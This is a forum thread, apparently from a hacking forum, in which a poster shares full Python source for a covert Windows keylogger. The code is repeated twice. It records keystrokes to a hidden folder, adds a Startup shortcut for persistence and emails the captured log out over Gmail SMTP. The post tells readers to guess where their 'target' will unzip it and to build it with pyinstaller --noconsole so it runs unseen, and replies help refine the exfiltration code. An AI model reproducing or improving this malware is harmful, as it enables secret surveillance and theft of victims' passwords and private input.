Search
Latest topics
Who is online?
In total there are 5 users online :: 0 Registered, 0 Hidden and 5 Guests None
Most users ever online was 38 on Sun Mar 19, 2023 10:07 pm
Most Viewed Topics
Keylogger for you an me
3 posters
Page 1 of 1
Keylogger for you an me
So I somehow stumbled upon a video on youtube to make a basic keylogger.
I found it interesting and decided to look up on the internet was to get the text file to it back to me and among other things, it escalated.
Code:
import pyHook, pythoncom, logging, sys
import time
import os, sys, win32com.client
from email.MIMEMultipart import MIMEMultipart
from email.MIMEText import MIMEText
from email.MIMEImage import MIMEImage
import smtplib
if not os.path.exists('C:\\MSLive\\'):
os.makedirs('C:\\MSLive\\')
myfile = open('C:\\MSLive\\stuff.txt', 'w')
myfile.write("Fun starts here\n")
myfile.close()
shell = win32com.client.Dispatch("WScript.Shell")
shortcut = shell.CreateShortCut("C:\\Users\\"+ os.environ.get("USERNAME")+"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\MSLive.lnk")
shortcut.Targetpath = "C:\\Users\\"+ os.environ.get("USERNAME")+"\\Downloads\\collegemeh\\key.exe"
shortcut.save()
msg = MIMEMultipart()
msg.attach(MIMEText(file("C:\\MSLive\\stuff.txt").read()))
mailer = smtplib.SMTP("smtp.gmail.com", 587)
mailer.ehlo()
mailer.starttls()
mailer.ehlo()
mailer.login('username', 'password')
mailer.sendmail("from@example.com", "to@example.com", msg.as_string())
mailer.close()
file_log = 'C:\\MSLive\\stuff.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
What it does:
It creates a txt files in C:\MSLive where it stores the key inputs. MSLives doesn't exists therefore it creates it
Then it proceeds to create a shortcut on the Startup folder
It assumes that the file is in Downloads\collegemeh. You can change it if you know where your target is going to unzip it.
Everytime the program is started it is going to send a mail with the contents of the txt file to the address written.
Now you may ask, what if the target doesn't use python?
Use pyinstaller with the --noconsole argument. It will make a folder in the pyinstaller folder with the name of the original script and within the dist folder there is the exe and its contents. Up to you what to do with this or how you wanna do it.
NOTES:
I did not write all this code. It was mostly googling and copy pasting/editing
I haven't tested the startup part yet.
Any input to improve it is appreciated!
I found it interesting and decided to look up on the internet was to get the text file to it back to me and among other things, it escalated.
Code:
import pyHook, pythoncom, logging, sys
import time
import os, sys, win32com.client
from email.MIMEMultipart import MIMEMultipart
from email.MIMEText import MIMEText
from email.MIMEImage import MIMEImage
import smtplib
if not os.path.exists('C:\\MSLive\\'):
os.makedirs('C:\\MSLive\\')
myfile = open('C:\\MSLive\\stuff.txt', 'w')
myfile.write("Fun starts here\n")
myfile.close()
shell = win32com.client.Dispatch("WScript.Shell")
shortcut = shell.CreateShortCut("C:\\Users\\"+ os.environ.get("USERNAME")+"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\MSLive.lnk")
shortcut.Targetpath = "C:\\Users\\"+ os.environ.get("USERNAME")+"\\Downloads\\collegemeh\\key.exe"
shortcut.save()
msg = MIMEMultipart()
msg.attach(MIMEText(file("C:\\MSLive\\stuff.txt").read()))
mailer = smtplib.SMTP("smtp.gmail.com", 587)
mailer.ehlo()
mailer.starttls()
mailer.ehlo()
mailer.login('username', 'password')
mailer.sendmail("from@example.com", "to@example.com", msg.as_string())
mailer.close()
file_log = 'C:\\MSLive\\stuff.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
What it does:
It creates a txt files in C:\MSLive where it stores the key inputs. MSLives doesn't exists therefore it creates it
Then it proceeds to create a shortcut on the Startup folder
It assumes that the file is in Downloads\collegemeh. You can change it if you know where your target is going to unzip it.
Everytime the program is started it is going to send a mail with the contents of the txt file to the address written.
Now you may ask, what if the target doesn't use python?
Use pyinstaller with the --noconsole argument. It will make a folder in the pyinstaller folder with the name of the original script and within the dist folder there is the exe and its contents. Up to you what to do with this or how you wanna do it.
NOTES:
I did not write all this code. It was mostly googling and copy pasting/editing
I haven't tested the startup part yet.
Any input to improve it is appreciated!
kyle5647- Member
- Posts : 40
Join date : 2014-04-08
Re: Keylogger for you an me
Fairly decent overall, but a little note.
Although the most publicly documented handshake for authenticating to Gmail's SMTP server is as you've written:
Code: Python
mailer.ehlo()
mailer.starttls()
mailer.ehlo()
It can be shortened down to:
Code: Python
mailer.ehlo_or_helo_if_needed()
mailer.starttls()
From my experience. The second EHLO becomes redundant.
Although the most publicly documented handshake for authenticating to Gmail's SMTP server is as you've written:
Code: Python
mailer.ehlo()
mailer.starttls()
mailer.ehlo()
It can be shortened down to:
Code: Python
mailer.ehlo_or_helo_if_needed()
mailer.starttls()
From my experience. The second EHLO becomes redundant.
Re: Keylogger for you an me
Nice work kyle5647. I tried running the program but I was given an ImportError: No module named 'pyHook'
Please how do I get this module?
Thank you boss!
Please how do I get this module?
Thank you boss!
cloud9- Moderator
- Posts : 38
Join date : 2014-04-09
Age : 34
Page 1 of 1
Permissions in this forum:
You cannot reply to topics in this forum
Tue Feb 02, 2021 7:12 am by manas41
» SQL injection and Quote escaping
Sun Jun 28, 2015 11:42 am by ADS1
» [TUT] Chmod: Files & Permissions [TUT]
Thu Jun 04, 2015 12:45 pm by Guest
» Reaver pixiewps
Thu Jun 04, 2015 12:23 pm by voidfletcher
» How To Crash Someone's Skype in 10 SECONDS
Thu Jun 04, 2015 12:20 pm by voidfletcher
» Internet Security & IP Security (IPSec)
Mon May 18, 2015 9:00 pm by voidfletcher
» [Python] Infinite / Definite File Generator
Mon May 18, 2015 8:58 pm by ADS1
» [C#] String Case-Inversion
Mon May 18, 2015 8:57 pm by ADS1
» Rekall Memory Forensic Framework
Sat May 16, 2015 8:55 pm by ADS1